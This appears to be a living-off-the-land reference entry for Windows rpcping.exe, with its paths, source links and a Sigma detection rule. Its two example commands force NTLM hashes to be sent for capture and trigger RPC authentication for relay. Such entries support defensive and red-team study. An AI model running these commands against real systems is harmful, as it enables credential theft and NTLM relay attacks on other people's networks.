

# /Rpcping.exe

## Credentials

Used to verify rpc connection

### Paths:

C:\Windows\System32\rpcping.exe  
C:\Windows\SysWOW64\rpcping.exe

### Resources:

- <https://github.com/vysec/RedTips>
- <https://twitter.com/vysecurity/status/974806438316072960>
- <https://twitter.com/vysecurity/status/873181705024266241>
- [https://twitter.com/splinter\\_code/status/1421144623678988298](https://twitter.com/splinter_code/status/1421144623678988298)

### Acknowledgements:

- Casey Smith ([@subtee](#))
- Vincent Yu ([@vysecurity](#))
- Antonio Cocomazzi ([@splinter\\_code](#))
- ap ([@decoder\\_it](#))

### Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process\\_creation/proc\\_creation\\_win\\_rpcping\\_credential\\_capture.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml)

## Credentials

. Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

```
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
```

<b>Use case:</b>	Capture credentials on a non-standard port
<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
<b>ATT&amp;CK® technique:</b>	T1003

. Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).

```
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
```

<b>Use case:</b>	Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port
------------------	--

**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1187